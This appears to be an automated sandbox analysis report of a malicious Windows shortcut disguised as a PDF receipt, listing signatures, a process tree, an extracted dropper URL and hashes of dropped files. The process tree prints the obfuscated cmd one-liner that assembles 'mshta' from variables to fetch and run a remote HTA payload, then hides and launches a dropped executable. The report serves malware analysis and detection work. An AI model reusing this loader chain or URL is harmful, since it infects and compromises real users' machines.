Analysis

  • max time kernel
    28s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:43

General

  • Target
    JustificantePDF2107-BSAUSL.lnk
  • Size 1KB
  • Sample260803-q1geaaae28
  • SHA256 e928e55a9c73cf232339047277239f6a9e3e79beddc8cad48d665b8302680b8a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies registry class 16 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\JustificantePDF2107-BSAUSL.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /c "set tsE=msh&&set vE=ta&&start "" !tsE!!vE! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\System32\mshta.exe
        mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:2952
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:5744
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            PID:2492
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:1312
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:1456
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                5⤵
                • Modifies registry class
                PID:5752
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
                PID:3380
                • C:\Windows\system32\rundll32.exe
                  C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                  5⤵
                    PID:4824
                • C:\Windows\System32\attrib.exe
                  "C:\Windows\System32\attrib.exe" +h +s "C:\idhiofre\"
                  4⤵
                  • Views/modifies file attributes
                  PID:788
                • C:\idhiofre\idhiofre.exe
                  "C:\idhiofre\idhiofre.exe" C:\idhiofre\idhiofre
                  4⤵
                    PID:1432
                  • C:\Windows\System32\rundll32.exe
                    "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                    4⤵
                      PID:3576
                      • C:\Windows\system32\rundll32.exe
                        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                        5⤵
                          PID:5024
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                        4⤵
                        • Executes a command shell one-liner
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:2864
                        • C:\Windows\System32\PING.EXE
                          ping -n 300 -w 1000 127.0.0.1
                          5⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:4420

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      050181E8A7D6C35C06DF1414C779370A

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\050181E8A7D6C35C06DF1414C779370A
                      • Size 542B
                      • SHA256 0b16ece4859331ac4f1da2612feb71c27a833b5193108286ea909c69197f0b0f
                      • MD5 SHA1 SHA512 TLSH

                      8B2B9A00839EED1DFDCCC3BFC2F5DF12

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                      • Size 1KB
                      • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                      • MD5 SHA1 SHA512 TLSH

                      B46811C17859FFB409CF0E904A4AA8F8

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                      • Size 528B
                      • SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
                      • MD5 SHA1 SHA512 TLSH

                      050181E8A7D6C35C06DF1414C779370A

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\050181E8A7D6C35C06DF1414C779370A
                      • Size 192B
                      • SHA256 3debbe7945e14a81c49dab4a575ad4f123172d36266e72f9f8404071ba332aa1
                      • MD5 SHA1 SHA512 TLSH

                      8B2B9A00839EED1DFDCCC3BFC2F5DF12

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                      • Size 174B
                      • SHA256 630fcf9e9991fe7e8f60274fee38f570c4683b6f21a32a991a6bb7ed700156e0
                      • MD5 SHA1 SHA512 TLSH

                      B46811C17859FFB409CF0E904A4AA8F8

                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                      • Size 170B
                      • SHA256 9b05f93fcb0988c486ad32c333049b683c0ce6390b02410a9c1d74a8f805492b
                      • MD5 SHA1 SHA512 TLSH

                      a1.zip

                      • Path C:\idhiofre\a1.zip
                      • Size 494KB
                      • SHA256 30a42ca1ea615f50945236fd9b507029d6d00ab24a83a0961aa67d8478d5315f
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      a2.zip

                      • Path C:\idhiofre\a2.zip
                      • Size 1.3MB
                      • SHA256 c288ba3b515c32c6b48a006e9435785f5361e777edeaabb612b8feee29b0a8fb
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      a3.zip

                      • Path C:\idhiofre\a3.zip
                      • Size 2KB
                      • SHA256 0417b088a5717b6366bb7d150eb2e0f636f8f5c3f344bf723d3c92060fe938cf
                      • MD5 SHA1 SHA512 TLSH

                      idhiofre

                      • Path C:\idhiofre\idhiofre
                      • Size 1.3MB
                      • SHA256 c7f22abb4ddd7fdb324bf80faa5449654a899c22ffc5ab8d5988be10e4a51ea4
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      idhiofre.exe

                      • Path C:\idhiofre\idhiofre.exe
                      • Size 957KB
                      • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/1432-114-0x0000000006D40000-0x0000000006F08000-memory.dmp